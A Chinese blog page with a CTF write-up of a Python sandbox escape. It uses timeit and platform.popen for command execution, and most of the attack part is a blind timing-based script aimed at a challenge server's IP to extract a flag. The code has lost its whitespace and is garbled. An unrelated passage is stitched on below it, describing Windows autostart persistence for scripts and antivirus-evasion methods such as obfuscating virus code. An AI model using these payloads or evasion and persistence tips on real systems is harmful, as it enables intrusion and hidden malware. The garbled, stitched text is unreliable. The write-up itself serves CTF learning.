python绕过付费_记一次python沙箱逃逸绕过(time based rce)

前几天参加了第八届swpu,题目质量很高,学到了很多东西。这里我就一道Python沙箱逃逸题目做一些总结。

题目过滤的很严格,文件读写,网络请求和一些危险模块都被ban掉了。甚至是下划线也会被检测到,这也使得__builtin__,[].__class__.__base__.__subclasses__()魔术方法无法利用。

最后得知利用的是一个内置模块:timeit.我相信很多初学python的人都会用到timeit模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行。

#coding:utf-8

importtimeit

timeit.timeit("__import__('os').system('')",number=1)

还有一个模块platform同样也行的通。

importplatform

platform.popen('id',mode='r',bufsize=-1).read()

在timeit模块里利用__import__内置函数加载os模块,然后就可以任意命令执行了,但是cat flag是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye等外带通道获取命令执行的结果。

于是这里就有了一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce.

具体可以查看出题人博客http://icematcha.win/?p=532

最后类似盲注脚本如下:

#coding:utf-8#author:icematcha

importrequestsimportsysimportbase64

payloads= "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="

defrequest(url, data, timeout):try:

res= requests.post(url, data = data, timeout =timeout)returnres.contentexcept:returnTruedefget_length(url, cmd, timeout):

length= ''

for i in xrange(1,10):

value= '''#!/usr/bin/python

#coding:utf-8

import timeit

timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = ];then sleep 2;fi')", number=1)''' %(cmd, i)

data= {'process': value}

res=request(url, data, timeout)ifres:

llength=ibreak

for i in xrange(1, llength):for _ in xrange(1, 10):

value= '''#!/usr/bin/python

#coding:utf-8

import timeit

timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1)''' %(cmd, i, _)

data= {'process': value}ifrequest(url, data, timeout):

length+=str(_)printlengthbreak

returnlengthdefget_content(url, cmd, timeout, length):

content= ''

for i in xrange(1, int(length)+1):for payload inpayloads:

value= '''#!/usr/bin/python

#coding:utf-8

import timeit

timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1)''' %(cmd, i, payload)

data= {'process': value}ifrequest(url, data, timeout):

content+=payloadprintcontentbreak

returncontentif __name__ == '__main__':

length= get_length('http://47.95.252.234/runcode','cat flag', 2.0)print "## The base32 of content's length is:%s" %length

content= get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length)print "## The base32 of content is:%s" %contentprint "## The commend result content is:%s" % base64.b32decode(content).strip()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,需要注意的是,绕过杀软是一种不道德的行为,同时也是违法的。因此,我们不鼓励或支持这种行为。 其次,关于Python自启动,一般有两种方法: 1. 将Python脚本添加到系统的启动项中。这样,每次开机启动时,系统会自动运行这个脚本。具体步骤如下: - 打开“运行”窗口,输入“shell:startup”,打开启动文件夹。 - 右键点击文件夹中的空白处,选择“新建”->“快捷方式”。 - 在“快捷方式”的目标栏中输入“python.exe 脚本路径”,如“C:\Python27\python.exe D:\test.py”。 - 点击“下一步”,输入一个名称,如“test”,点击“完成”即可。 2. 使用Windows任务计划程序。这样,可以设置脚本在指定的时间自动运行。具体步骤如下: - 打开“控制面板”->“管理工具”->“任务计划程序”。 - 在任务计划程序中,右键点击“任务计划程序库”,选择“创建任务”。 - 在“常规”选项卡中,输入一个名称和描述,选择“不管用户是否登录都要运行”,勾选“使用最高权限运行”。 - 在“触发器”选项卡中,选择“新建”,设置计划的触发条件,如每天、每周等。 - 在“操作”选项卡中,选择“新建”,设置操作为“启动程序”,输入“python.exe 脚本路径”。 - 点击“确定”保存任务。 对于绕过杀软的过程,一般有以下几种方法: 1. 使用FUD(Fully Undetectable)技术,将病毒代码加密或混淆,使其难以被杀软检测到。 2. 使用虚拟机或沙箱环境,在其中运行病毒代码,以避免被杀软检测。 3. 修改病毒代码,使其不再具有病毒行为,从而不被杀软检测到。 4. 手动编写病毒代码,使用未被杀软识别的技术和方法。 需要注意的是,这些方法都存在风险和不道德性质,因此不应该轻易尝试。同时,杀软的主要目的是保护用户安全,因此绕过杀软的行为也可能会对用户造成风险和危害。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值